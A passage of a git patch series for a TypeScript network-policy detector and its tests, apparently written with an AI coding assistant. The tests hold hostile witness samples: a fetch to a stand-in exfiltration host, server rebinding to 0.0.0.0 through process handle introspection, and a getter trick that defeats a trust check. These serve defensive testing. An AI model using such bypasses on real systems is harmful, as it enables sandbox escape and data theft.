+ if (ctx.externalInstantiatingFactories.has(factory) || factoryInstantiates(factory)) ctx.instantiatingFactories.add(factory);
+ }
// The tree entry counts sites across files: only the first site of the whole host tree is free.
for (const site of sites.slice(Math.max(0, 1 - ctx.priorInstantiationSites))) deny(ctx, 'CREATE_SERVER_MULTIPLE', site);
}
@@ -1545,6 +1562,8 @@ function createContext(source: string, options: NetworkPolicyOptions): Context {
hostImports: options.hostImports ?? new Map(),
priorInstantiationSites: options.priorInstantiationSites ?? 0,
externalFactories: new Set(),
+ externalInstantiatingFactories: new Set(),
+ instantiatingFactories: new Set(),
externalStrings: new Set(),
externalStringFunctions: new Set(),
instantiationSites: 0,
@@ -1628,16 +1647,19 @@ const hasDefaultModifier = (node: ts.Node): boolean =>
/** What a file proves about its own exports: confined factories, proven strings and string functions, including re-exports of proven sibling exports. */
function hostExportsOf(ctx: Context): HostModuleExports {
const factories = new Set();
+ const instantiatingFactories = new Set();
const strings = new Set();
const stringFunctions = new Set();
const classifyBinding = (symbol: ts.Symbol | undefined, exportName: string): void => {
if (symbol === undefined) return;
if (ctx.confinedFactories.has(symbol)) factories.add(exportName);
+ if (ctx.instantiatingFactories.has(symbol)) instantiatingFactories.add(exportName);
if (isStringFunction(ctx, symbol, new Set())) stringFunctions.add(exportName);
else if (isStringValue(ctx, symbol)) strings.add(exportName);
};
const copyFrom = (source: HostModuleExports, imported: string, exportName: string): void => {
if (source.factories.has(imported)) factories.add(exportName);
+ if (source.instantiatingFactories.has(imported)) instantiatingFactories.add(exportName);
if (source.strings.has(imported)) strings.add(exportName);
if (source.stringFunctions.has(imported)) stringFunctions.add(exportName);
};
@@ -1663,6 +1685,7 @@ function hostExportsOf(ctx: Context): HostModuleExports {
if (source === undefined) continue;
if (clause === undefined) {
for (const name of source.factories) factories.add(name);
+ for (const name of source.instantiatingFactories) instantiatingFactories.add(name);
for (const name of source.strings) strings.add(name);
for (const name of source.stringFunctions) stringFunctions.add(name);
} else if (ts.isNamedExports(clause)) {
@@ -1677,7 +1700,7 @@ function hostExportsOf(ctx: Context): HostModuleExports {
}
}
}
- return { factories, strings, stringFunctions };
+ return { factories, instantiatingFactories, strings, stringFunctions };
}
/** One host source file for the tree entry; `file` is its path relative to the host root (either separator). */
@@ -1686,7 +1709,12 @@ export interface HostSource {
readonly text: string;
}
-const EMPTY_EXPORTS: HostModuleExports = { factories: new Set(), strings: new Set(), stringFunctions: new Set() };
+const EMPTY_EXPORTS: HostModuleExports = {
+ factories: new Set(),
+ instantiatingFactories: new Set(),
+ strings: new Set(),
+ stringFunctions: new Set(),
+};
const sameNames = (left: ReadonlySet, right: ReadonlySet): boolean =>
left.size === right.size && [...left].every((name) => right.has(name));
@@ -1694,6 +1722,7 @@ const sameNames = (left: ReadonlySet, right: ReadonlySet): boole
const sameExports = (left: HostModuleExports | undefined, right: HostModuleExports): boolean =>
left !== undefined &&
sameNames(left.factories, right.factories) &&
+ sameNames(left.instantiatingFactories, right.instantiatingFactories) &&
sameNames(left.strings, right.strings) &&
sameNames(left.stringFunctions, right.stringFunctions);
From df7007d978c02c063ecf230b221e131a43dee0d1 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 09:59:58 +0200
Subject: [PATCH 09/20] fix(cockpit): positive process-global policy and
platform-aware host paths
Close the two newest Codex findings on PR #67:
- The free `process` global (and `.process`) now has one
permitted runtime use, an element read `process.argv[]`,
which is the real host's entry guard. Every other operation is denied
with PROCESS_GLOBAL_USE: handle introspection, builtin acquisition,
environment, forwarding the object, destructuring it, or writing or
reading `argv` whole. The check is one positive shape in
`checkProcessUse`; no per-method table is kept. A total ban was not
possible because src/cockpit-host/server.ts reads `process.argv[1]`.
- `analyzeNetworkPolicyTree` no longer folds every backslash in a
`HostSource.file` name. Backslashes fold to `/` only when the names come
from a win32 reader; on POSIX a backslash is a literal filename
character and module resolution keeps the file at its real location.
The separator defaults to the running platform's and is overridable as
a test hook so both branches are exercised on every platform.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/d3-network-policy.test.ts | 115 ++++++++++++++++--
.../cockpit-host/support/d3-network-policy.ts | 101 ++++++++++++---
2 files changed, 189 insertions(+), 27 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 91d8a6e..899272b 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -17,6 +17,7 @@ import {
POLICY_KEY_NAMES,
PORT_MAX,
STATIC_KEY_CEILING,
+ type NetworkPolicyOptions,
type NetworkPolicyResult,
type ReasonCode,
} from './support/d3-network-policy.js';
@@ -1113,6 +1114,74 @@ ${describeFindings(result)}`).toEqual([]);
expect(occurrences(detector, "deny(ctx, 'GLOBAL_RECEIVER_WRITE'")).toBe(1);
});
+ it('P1: the process global has one permitted runtime use, process.argv[]; every other use is denied', () => {
+ const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+ for (const source of [
+ // Codex witness: handle introspection recovers the listening server and rebinds it off loopback.
+ withServer(
+ `server.listen(4317, '127.0.0.1', () => {\n const [handle] = (process as any)._getActiveHandles();\n handle.close(() => handle.listen(4318, '0.0.0.0'));\n});`,
+ ),
+ `(process as any)._getActiveHandles();`,
+ `process.getBuiltinModule('http');`,
+ `(process as any).binding('http');`,
+ `process.cwd();`,
+ `process.env.HOME;`,
+ `process.exit(1);`,
+ `process.on('exit', () => {});`,
+ `process.argv;`,
+ `process.argv.length;`,
+ `process.argv.slice(2);`,
+ `const args = process.argv;\nargs;`,
+ `const [, entry] = process.argv;\nentry;`,
+ `const { argv } = process;\nargv;`,
+ `process.argv[1] = 'x';`,
+ `process.argv = [];`,
+ `declare const i: number;\nprocess.argv[i];`,
+ `use(process);`,
+ `const p = process;\np.argv[1];`,
+ `[process].length;`,
+ `globalThis.process._getActiveHandles();`,
+ `globalThis.process.cwd();`,
+ `(globalThis as any)['process'].binding('http');`,
+ `window.process.argv;`,
+ `const { process: p } = globalThis;\np.argv[1];`,
+ `let p: unknown;\n({ process: p } = globalThis);\np;`,
+ `const { process } = globalThis;\nprocess.argv[1];`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['PROCESS_GLOBAL_USE']);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ for (const source of [
+ `process.argv[1];`,
+ `const entryArgument = process.argv[1];\nentryArgument;`,
+ `(process as any).argv[1];`,
+ `process['argv'][1];`,
+ `process.argv['1'];`,
+ `process['arg' + 'v'][1];`,
+ `globalThis.process.argv[1];`,
+ `typeof process;`,
+ `process;`,
+ `void process;`,
+ `function main(process: { cwd(): string }) { return process.cwd(); }\nmain;`,
+ `const process = { argv: ['x'] };\nprocess.argv.slice(0);`,
+ REAL_HOST_REPLICA,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ // One positive shape check, no per-method table: the detector never names a process method.
+ expect(POLICY_KEY_NAMES).toContain('process');
+ expect(POLICY_KEY_NAMES).toContain('argv');
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function checkProcessUse(')).toBe(1);
+ expect(occurrences(detector, 'checkProcessUse(ctx, ')).toBe(2);
+ for (const forbidden of ['_getActiveHandles', 'getBuiltinModule', 'binding', 'cwd', 'env']) {
+ expect(occurrences(detector, `'${forbidden}'`), forbidden).toBe(0);
+ }
+ });
+
it('is structural: one runtime-shadow predicate, threaded through the single symbol-resolution path', () => {
const detector = readFileSync(detectorPath, 'utf8');
expect(occurrences(detector, 'function isRuntimeShadowed(')).toBe(1);
@@ -1212,8 +1281,11 @@ describe('D3 network policy positive shapes for close and end (PR #67 Codex P1)'
});
describe('D3 network policy host module graph (PR #67 Codex P1: exported factories across files)', () => {
- const tree = (files: Record): ReadonlyMap =>
- analyzeNetworkPolicyTree(Object.entries(files).map(([file, text]) => ({ file, text })));
+ const tree = (files: Record, options: NetworkPolicyOptions = {}): ReadonlyMap =>
+ analyzeNetworkPolicyTree(
+ Object.entries(files).map(([file, text]) => ({ file, text })),
+ options,
+ );
const reasonsOf = (results: ReadonlyMap, file: string): readonly string[] => {
const result = results.get(file);
if (result === undefined) throw new Error(`no result for ${file}`);
@@ -1263,15 +1335,44 @@ describe('D3 network policy host module graph (PR #67 Codex P1: exported factori
});
expect(reasonsOf(viaWrapper, 'wrap.ts')).toEqual([]);
expect(reasonsOf(viaWrapper, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
- const nested = tree({
- 'lib/review.ts': REVIEW,
- 'main.ts': `import { makeReviewServer } from './lib/review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
- 'lib\\deep\\entry.ts': `import { makeReviewServer } from '../review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
- });
+ const nested = tree(
+ {
+ 'lib/review.ts': REVIEW,
+ 'main.ts': `import { makeReviewServer } from './lib/review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
+ 'lib\\deep\\entry.ts': `import { makeReviewServer } from '../review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
+ },
+ { separator: '\\' },
+ );
expect(reasonsOf(nested, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
expect(reasonsOf(nested, 'lib/deep/entry.ts')).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']);
});
+ it('resolves HostSource names by the platform separator: a POSIX filename keeps its literal backslashes (Codex P1)', () => {
+ const FACTORY = `${NS}\nexport function make(): http.Server {\n return http.createServer(${L});\n}`;
+ const consumer = `import { make } from './factory.js';\nmake().listen(4567, '0.0.0.0');`;
+ const files = { 'factory.ts': FACTORY, 'nested\\consumer.ts': consumer };
+ // POSIX: `nested\\consumer.ts` is a root-level file, so `./factory.js` is the root factory and the wildcard bind is seen.
+ const posix = tree(files, { separator: '/' });
+ expect([...posix.keys()]).toEqual(['factory.ts', 'nested\\consumer.ts']);
+ expect(reasonsOf(posix, 'nested\\consumer.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ // win32: the same name is `nested/consumer.ts`, whose `./factory.js` is a missing `nested/factory.ts` (outside the boundary).
+ const windows = tree(files, { separator: '\\' });
+ expect([...windows.keys()]).toEqual(['factory.ts', 'nested/consumer.ts']);
+ expect(reasonsOf(windows, 'nested/consumer.ts')).toEqual([]);
+ // A forward slash is a separator on both platforms.
+ for (const separator of ['/', '\\'] as const) {
+ const slashed = tree({ 'factory.ts': FACTORY, 'lib/consumer.ts': `import { make } from '../factory.js';\nmake().listen(4567, '0.0.0.0');` }, { separator });
+ expect(reasonsOf(slashed, 'lib/consumer.ts'), separator).toEqual(['SERVER_LISTEN_BINDING']);
+ }
+ // The default is the running platform's separator: exactly what `readdirSync` hands the real-host readers.
+ const native = tree(files);
+ expect([...native.keys()]).toEqual([...(process.platform === 'win32' ? windows : posix).keys()]);
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'const nativeSeparator = ')).toBe(1);
+ expect(occurrences(detector, "process.platform === 'win32'")).toBe(1);
+ expect(occurrences(detector, "from 'node:path'")).toBe(0);
+ });
+
it('applies the server-instantiation site bound across the tree', () => {
const twoFiles = tree({
'review.ts': `${REVIEW}\nmakeReviewServer().listen(4317, '127.0.0.1');`,
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index a6d7c2e..1b9b365 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -63,6 +63,7 @@ export type ReasonCode =
| 'GLOBAL_RECEIVER_ESCAPE'
| 'GLOBAL_RECEIVER_DESTRUCTURING'
| 'GLOBAL_RECEIVER_WRITE'
+ | 'PROCESS_GLOBAL_USE'
| 'HTTP_CLIENT_CAPABILITY'
| 'HTTP_IMPORT_EQUALS'
| 'HTTP_DYNAMIC_IMPORT'
@@ -121,6 +122,8 @@ export interface NetworkPolicyOptions {
readonly hostImports?: ReadonlyMap;
/** Server-instantiation sites already counted in earlier files of the same host tree (set by `analyzeNetworkPolicyTree`). */
readonly priorInstantiationSites?: number;
+ /** Directory separator the `HostSource.file` names use (test hook; default: the running platform's, as `readdirSync` emits it). */
+ readonly separator?: '/' | '\\';
}
export type StaticKey =
@@ -136,6 +139,13 @@ export const HTTP_MODULE_SPECIFIERS: ReadonlySet = new Set(['node:http',
/** Global outbound-network capabilities of the supported Node runtime: HTTP, WebSocket and server-sent events. */
export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebSocket', 'EventSource']);
export const GLOBAL_RECEIVER_NAMES: ReadonlySet = new Set(['globalThis', 'window', 'self', 'global']);
+/**
+ * The free `process` global is a Node authority object (handle introspection,
+ * builtin acquisition, environment, signals, exit). Its one permitted runtime
+ * use is the real host's entry guard, reading `process.argv[]`.
+ */
+export const PROCESS_GLOBAL = 'process';
+export const PROCESS_ARGV = 'argv';
const CREATE_SERVER = 'createServer';
const SERVER_LISTEN = 'listen';
const SERVER_CLOSE = 'close';
@@ -154,6 +164,8 @@ export const POLICY_KEY_NAMES: readonly string[] = [
...HTTP_MODULE_SPECIFIERS,
...NETWORK_GLOBAL_NAMES,
...GLOBAL_RECEIVER_NAMES,
+ PROCESS_GLOBAL,
+ PROCESS_ARGV,
CREATE_SERVER,
...SERVER_METHODS,
...REQUEST_READS,
@@ -1369,12 +1381,14 @@ function checkCreateServerBindingUse(ctx: Context, id: ts.Identifier): void {
/**
* Shared verdict for a key read off a global receiver; `onSelfHop` handles a
- * resolved global-root key. Returns whether the key is a permitted static member.
+ * resolved global-root key and `onProcess` the `process` key (the same object
+ * as the free global). Returns whether the key is a permitted static member.
*/
-function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void): boolean {
+function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void, onProcess: () => void): boolean {
if (key.kind === 'INDETERMINATE') deny(ctx, 'GLOBAL_RECEIVER_RUNTIME_KEY', at);
else if (isResolvedTo(key, NETWORK_GLOBAL_NAMES)) deny(ctx, 'GLOBAL_RECEIVER_NETWORK_MEMBER', at);
else if (isResolvedTo(key, GLOBAL_RECEIVER_NAMES)) onSelfHop();
+ else if (isResolvedTo(key, PROCESS_GLOBAL)) onProcess();
else return true;
return false;
}
@@ -1392,10 +1406,16 @@ function checkGlobalBindingPattern(ctx: Context, pattern: ts.BindingPattern): vo
let key: StaticKey = INDETERMINATE;
if (element.propertyName !== undefined) key = resolvePropertyName(ctx, element.propertyName);
else if (ts.isIdentifier(element.name)) key = foldKey(element.name.text);
- checkGlobalKey(ctx, key, element, () => {
- if (isBindingPattern(element.name)) checkGlobalBindingPattern(ctx, element.name);
- else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', element);
- });
+ checkGlobalKey(
+ ctx,
+ key,
+ element,
+ () => {
+ if (isBindingPattern(element.name)) checkGlobalBindingPattern(ctx, element.name);
+ else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', element);
+ },
+ () => { deny(ctx, 'PROCESS_GLOBAL_USE', element); },
+ );
}
}
@@ -1407,16 +1427,26 @@ function checkGlobalAssignmentPattern(ctx: Context, target: ts.Expression): void
}
for (const property of literal.properties) {
if (ts.isShorthandPropertyAssignment(property)) {
- checkGlobalKey(ctx, foldKey(property.name.text), property, () => {
- deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property);
- });
+ checkGlobalKey(
+ ctx,
+ foldKey(property.name.text),
+ property,
+ () => { deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property); },
+ () => { deny(ctx, 'PROCESS_GLOBAL_USE', property); },
+ );
} else if (ts.isPropertyAssignment(property)) {
- checkGlobalKey(ctx, resolvePropertyName(ctx, property.name), property, () => {
- const nested = unwrap(property.initializer);
- if (ts.isObjectLiteralExpression(nested) || ts.isArrayLiteralExpression(nested)) {
- checkGlobalAssignmentPattern(ctx, nested);
- } else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property);
- });
+ checkGlobalKey(
+ ctx,
+ resolvePropertyName(ctx, property.name),
+ property,
+ () => {
+ const nested = unwrap(property.initializer);
+ if (ts.isObjectLiteralExpression(nested) || ts.isArrayLiteralExpression(nested)) {
+ checkGlobalAssignmentPattern(ctx, nested);
+ } else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property);
+ },
+ () => { deny(ctx, 'PROCESS_GLOBAL_USE', property); },
+ );
} else deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', property);
}
}
@@ -1426,9 +1456,13 @@ function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
const { node, parent } = climb(expression);
if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
if (isMemberAccess(parent) && parent.expression === node) {
- const permitted = checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => {
- checkGlobalReceiverUse(ctx, parent);
- });
+ const permitted = checkGlobalKey(
+ ctx,
+ memberKey(ctx, parent),
+ parent,
+ () => { checkGlobalReceiverUse(ctx, parent); },
+ () => { checkProcessUse(ctx, parent); },
+ );
// A permitted static member is read-only: writing it mutates the global
// (e.g. replacing `String`, which `isProvenString` trusts as intrinsic).
if (permitted && isWriteTarget(parent)) {
@@ -1456,10 +1490,31 @@ function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node);
}
+/**
+ * Positive policy for the `process` global, whether reached as the free
+ * identifier or as `.process`: the only permitted runtime use
+ * is an element read `process.argv[]` (the entry guard). Every
+ * other operation — any other member, forwarding the object, writing `argv`,
+ * or reading it whole — is denied; no per-method table is kept.
+ */
+function checkProcessUse(ctx: Context, expression: ts.Expression): void {
+ const { node, parent } = climb(expression);
+ if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
+ if (isMemberAccess(parent) && parent.expression === node && isResolvedTo(memberKey(ctx, parent), PROCESS_ARGV) && !isWriteTarget(parent)) {
+ const argv = climb(parent);
+ if (ts.isElementAccessExpression(argv.parent) && argv.parent.expression === argv.node && !isWriteTarget(argv.parent)) {
+ const index = memberKey(ctx, argv.parent);
+ if (index.kind === 'RESOLVED' && /^\d+$/.test(index.value)) return;
+ }
+ }
+ deny(ctx, 'PROCESS_GLOBAL_USE', node);
+}
+
function checkFreeGlobal(ctx: Context, id: ts.Identifier): void {
if (id.text === 'arguments') deny(ctx, 'ARGUMENTS_USE', id);
else if (NETWORK_GLOBAL_NAMES.has(id.text)) deny(ctx, 'FREE_GLOBAL_NETWORK', id);
else if (GLOBAL_RECEIVER_NAMES.has(id.text)) checkGlobalReceiverUse(ctx, id);
+ else if (id.text === PROCESS_GLOBAL) checkProcessUse(ctx, id);
}
/**
@@ -1703,7 +1758,7 @@ function hostExportsOf(ctx: Context): HostModuleExports {
return { factories, instantiatingFactories, strings, stringFunctions };
}
-/** One host source file for the tree entry; `file` is its path relative to the host root (either separator). */
+/** One host source file for the tree entry; `file` is its native path relative to the host root (win32: either separator; elsewhere a backslash is a literal filename character). */
export interface HostSource {
readonly file: string;
readonly text: string;
@@ -1728,6 +1783,9 @@ const sameExports = (left: HostModuleExports | undefined, right: HostModuleExpor
const isRelativeSpecifier = (specifier: string): boolean => specifier.startsWith('./') || specifier.startsWith('../');
+/** The directory separator of the platform the `HostSource.file` names come from. */
+const nativeSeparator = (): '/' | '\\' => (process.platform === 'win32' ? '\\' : '/');
+
/** Every relative string-literal module specifier a file uses, in import, export, `require` and dynamic-import positions. */
function relativeSpecifiersOf(sourceFile: ts.SourceFile): readonly string[] {
const specifiers = new Set();
@@ -1777,7 +1835,10 @@ export function analyzeNetworkPolicyTree(
sources: readonly HostSource[],
options: NetworkPolicyOptions = {},
): ReadonlyMap {
- const files = sources.map((source) => ({ file: source.file.replace(/\\/g, '/'), text: source.text }));
+ // Tree paths are '/'-separated: a win32 name folds its backslashes; a POSIX name keeps them, they are part of the filename.
+ const separator = options.separator ?? nativeSeparator();
+ const treePath = (file: string): string => (separator === '\\' ? file.replace(/\\/g, '/') : file);
+ const files = sources.map((source) => ({ file: treePath(source.file), text: source.text }));
const names = new Set(files.map((entry) => entry.file));
const specifiers = new Map(
files.map((entry) => [
From dcd0a8303b4eb37ece8860d1f8d0c91b83d0bedf Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 10:14:53 +0200
Subject: [PATCH 10/20] fix(cockpit): resolve host imports with URL semantics
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Close the newest Codex P1 on PR #67. `resolveHostSpecifier` did segment
arithmetic on the specifier text, so a valid ESM suffix such as
`./factory.js?instance` kept its query in the target, matched no host
file, left the importer unseeded and let `make().listen(4317, '0.0.0.0')`
pass. The resolver now resolves the specifier as Node's ESM loader does:
`new URL(specifier, importer)` under a synthetic tree root, so a query or
fragment is dropped, `.`/`..` and their `%2e` forms fold, and encoded
segments decode before the `.js` → `.ts` candidates are matched. A
resolution that leaves the root, carries an encoded separator, or has a
malformed escape stays outside the boundary, matching the purity suite's
import-boundary check. Importer segments are percent-encoded first, so a
literal backslash in a POSIX filename stays one segment.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/d3-network-policy.test.ts | 55 +++++++++++++++++++
.../cockpit-host/support/d3-network-policy.ts | 31 ++++++++---
2 files changed, 79 insertions(+), 7 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 899272b..72b5412 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1373,6 +1373,61 @@ describe('D3 network policy host module graph (PR #67 Codex P1: exported factori
expect(occurrences(detector, "from 'node:path'")).toBe(0);
});
+ it('resolves specifiers with URL semantics: query, fragment, encoded and dot segments, plain relative paths (Codex P1)', () => {
+ const FACTORY = `${NS}\nexport function make(): http.Server {\n return http.createServer(${L});\n}`;
+ const consumer = (specifier: string): string => `import { make } from '${specifier}';\nmake().listen(4317, '0.0.0.0');`;
+ // Codex witness: a valid ESM suffix still resolves to the factory source, so the consumer is seeded and the wildcard bind is seen.
+ const witness = tree({ 'factory.ts': FACTORY, 'main.ts': consumer('./factory.js?instance') });
+ expect(reasonsOf(witness, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ for (const [importer, specifier] of [
+ ['main.ts', './factory.js?instance'],
+ ['main.ts', './factory.js#fragment'],
+ ['main.ts', './factory.js?a=1&b=2#c'],
+ ['main.ts', './factory.ts?x'],
+ ['main.ts', './factory?x'],
+ ['main.ts', './%66actory.js'],
+ ['main.ts', './sub/%2e%2e/factory.js'],
+ ['main.ts', './sub/%2E%2E/factory.js?x'],
+ ['main.ts', './sub/../factory.js'],
+ ['main.ts', '././factory.js'],
+ ['main.ts', './factory.js'],
+ ['lib/main.ts', '../factory.js?x'],
+ ['lib/deep/main.ts', '../../factory.js#x'],
+ ['lib/deep/main.ts', '.././../factory.js'],
+ ] as const) {
+ const results = tree({ 'factory.ts': FACTORY, [importer]: consumer(specifier) });
+ expect(reasonsOf(results, importer), `${importer} <- ${specifier}`).toEqual(['SERVER_LISTEN_BINDING']);
+ }
+ // Encoded and literal characters inside a segment decode to the same tree name.
+ for (const specifier of ['./my%20dir/factory.js?x', './my dir/factory.js']) {
+ const spaced = tree({ 'my dir/factory.ts': FACTORY, 'main.ts': consumer(specifier) });
+ expect(reasonsOf(spaced, 'main.ts'), specifier).toEqual(['SERVER_LISTEN_BINDING']);
+ }
+ // The POSIX literal-backslash importer stays one root-level segment under URL resolution too.
+ const posix = tree({ 'factory.ts': FACTORY, 'nested\\consumer.ts': consumer('./factory.js?instance') }, { separator: '/' });
+ expect(reasonsOf(posix, 'nested\\consumer.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ // Outside the boundary: leaving the root, an encoded separator, a malformed escape, a missing file, a non-relative specifier.
+ for (const [importer, specifier] of [
+ ['main.ts', '../factory.js'],
+ ['lib/main.ts', '../../factory.js'],
+ ['main.ts', './sub%2f../factory.js'],
+ ['main.ts', './sub%5C../factory.js'],
+ ['main.ts', './%zzfactory.js'],
+ ['main.ts', './factory.js%'],
+ ['main.ts', './missing.js?x'],
+ ['main.ts', '/abs/factory.js?x'],
+ ['main.ts', 'factory.js?x'],
+ ] as const) {
+ const results = tree({ 'factory.ts': FACTORY, [importer]: consumer(specifier) });
+ expect(reasonsOf(results, importer), `${importer} <- ${specifier}`).toEqual([]);
+ }
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function resolveHostSpecifier(')).toBe(1);
+ expect(occurrences(detector, 'new URL(')).toBe(3);
+ expect(occurrences(detector, "from 'node:url'")).toBe(0);
+ expect(occurrences(detector, "from 'node:path'")).toBe(0);
+ });
+
it('applies the server-instantiation site bound across the tree', () => {
const twoFiles = tree({
'review.ts': `${REVIEW}\nmakeReviewServer().listen(4317, '127.0.0.1');`,
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 1b9b365..1515e79 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -1804,15 +1804,32 @@ function relativeSpecifiersOf(sourceFile: ts.SourceFile): readonly string[] {
return [...specifiers];
}
-/** Resolve a relative specifier against its importing file, posix-style, to a file of the tree (`.js` → `.ts` and friends), or undefined. */
+/** Synthetic root the tree's '/'-separated names hang under; a resolution that leaves it is outside the boundary. */
+const TREE_ROOT_URL = new URL('file:///host/');
+
+/** An encoded separator never folds into one (Node rejects `%2f` everywhere and `%5c` on win32): fail closed on both. */
+const ENCODED_SEPARATOR = /%2f|%5c/i;
+
+/**
+ * Resolve a relative specifier against its importing file with URL semantics,
+ * as Node's ESM loader does — `.`/`..` and their `%2e` forms fold, a query or
+ * fragment is dropped, an encoded segment decodes — to a file of the tree
+ * (`.js` → `.ts` and friends), or undefined. A resolution that leaves the root,
+ * carries an encoded separator, or has a malformed escape stays outside the
+ * boundary. Each importer segment is encoded first so a literal backslash in a
+ * POSIX filename stays one segment instead of reading as a separator.
+ */
function resolveHostSpecifier(fromFile: string, specifier: string, files: ReadonlySet): string | undefined {
- const segments = fromFile.split('/').slice(0, -1);
- for (const part of specifier.split('/')) {
- if (part === '' || part === '.') continue;
- if (part === '..') segments.pop();
- else segments.push(part);
+ if (ENCODED_SEPARATOR.test(specifier)) return undefined;
+ let target: string;
+ try {
+ const importer = new URL(fromFile.split('/').map(encodeURIComponent).join('/'), TREE_ROOT_URL);
+ const resolved = new URL(specifier, importer);
+ if (!resolved.pathname.startsWith(TREE_ROOT_URL.pathname)) return undefined;
+ target = resolved.pathname.slice(TREE_ROOT_URL.pathname.length).split('/').map(decodeURIComponent).join('/');
+ } catch {
+ return undefined;
}
- const target = segments.join('/');
const candidates = [
target,
target.replace(/\.js$/, '.ts'),
From 2dcee192e685c5916847ddbc5d7cb8273c696920 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 10:37:38 +0200
Subject: [PATCH 11/20] fix(cockpit): never invoke a member through a global
receiver
Close the newest Codex P1 on PR #67. A permitted static member of a global
receiver could still be invoked, so an inherited mutator such as
`(globalThis as any).__defineGetter__('String', ...)` rebound `String`
without a write target and `isProvenString` then trusted a callable Proxy
handed to response.end. The real host makes no call through globalThis,
window, self or global, so the rule is the smallest structural one: a
member reached through a global receiver is never invoked. Call, optional
call, construct and tagged-template forms are denied as one family with
GLOBAL_RECEIVER_CALL, and the call result is no longer followed. Free
global calls such as `String(1)` go through no receiver and stay allowed,
as do member reads like `globalThis.console.log('x')`.
The regression matrix rows that pinned the superseded "call result
inherits global authority" behavior now expect the call denial, and the
mutator family is added beside the Codex witness.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/d3-network-policy.test.ts | 113 ++++++++++++++----
.../cockpit-host/support/d3-network-policy.ts | 20 ++--
.../support/d3-regression-matrix.ts | 68 ++++++-----
3 files changed, 140 insertions(+), 61 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 72b5412..5592d04 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -607,13 +607,13 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
}
});
- it('F3: denies every global-root call-result witness through the existing global-receiver rules', () => {
+ it('F3: denies every invocation of a permitted global member at the call; its result is never followed', () => {
for (const [source, reason] of [
- [`globalThis.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`globalThis.global.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`const g = globalThis.valueOf();`, 'GLOBAL_RECEIVER_ESCAPE'],
- [`window['valueOf']().WebSocket;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`use(self.valueOf());`, 'GLOBAL_RECEIVER_ESCAPE'],
